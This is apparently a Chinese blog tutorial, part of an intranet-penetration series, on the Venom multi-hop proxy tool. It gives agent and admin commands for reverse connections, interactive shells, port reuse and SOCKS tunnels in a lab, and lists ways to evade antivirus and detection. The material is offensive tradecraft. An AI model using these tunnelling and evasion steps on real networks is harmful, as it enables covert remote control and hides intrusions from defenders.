内网渗透系列:内网隧道之Venom

前言

本文研究端口转发&SOCKS5&SSH的一个工具,Venom

github:https://github.com/Dliv3/Venom/

一、概述

1、简介

玄武实验室的Dliv3作品,最后更新于2019年,用Go编写,多级代理工具,功能极强,但是现在基本被各大杀软查杀了(需做好免杀)

  • 多级socks5代理
  • 多级端口转发
  • 端口复用 (apache/mysql/…)
  • ssh隧道
  • 交互式shell
  • 文件的上传和下载
  • 节点间通信加密
  • 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)

2、原理

TCP连接,可直接获取shell,也可端口转发或SOCKS代理

3、用法

(1)服务端

监听

./admin_macos_x64 -lport 9999

内置命令

  • help 打印帮助信息
  • show 显示网络拓扑
  • goto 操作某节点
  • getdes/setdes 获取/设置节点信息描述
  • connect/listen/sshconnect 节点间互连
  • shell 获取节点的交互式shell
  • upload/download 向节点上传/从节点下载文件
  • socks 建立到某节点的socks5代理
  • lforward/rforward 将本地端口转发到远程/将远程端口转发到本地

(2)客户端

发起

./agent_linux_x64 -rhost <server-ip> -rport 9999

端口复用

  • 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用

    # 以windows下apache为例
    # 复用apache 80端口,不影响apache提供正常的http服务
    # -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
    ./agent.exe -lhost 192.168.204.139 -reuse-port 80
    ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
    
  • 通过iptables进行端口复用(仅支持Linux平台)

    # 以linux下apache为例
    # 需要root权限
    sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
    

(3)加密

# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe

# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe

(4)三层代理

可参考

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

都没有限制TCP连接

2、建立隧道

(1)服务端

./admin_linux_x64 -lport 2222

在这里插入图片描述

(2)客户端

./agent_linux_x64 -rhost 192.168.10.128 -rport 2222

在这里插入图片描述

3、抓包看看

TCP连接

在这里插入图片描述
获取shell
在这里插入图片描述
ls命令,这里是明文,因为用的时候没有进行加密

在这里插入图片描述
在这里插入图片描述
socks
在这里插入图片描述

三、探索

1、源码与分析

源码架构非常清晰,注释详细,可直接看

2、检测与绕过

(1)特征字符串和特征码

命令和log里的特征字符串可以作为检测特征
然后是代码里的特征码

绕过方法:修改掉相应的特征

(2)端口控制

做好端口控制

绕过方法:端口复用

(3)进程和库调用

通过终端的进程链控制和第三方库的调用情况在做检测

绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套

(4)SOCKS代理的检测

这是IDS这块,具体原理不清

结语

venom也是赫赫有名了,所以查杀理所当然都安排上了

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/119749874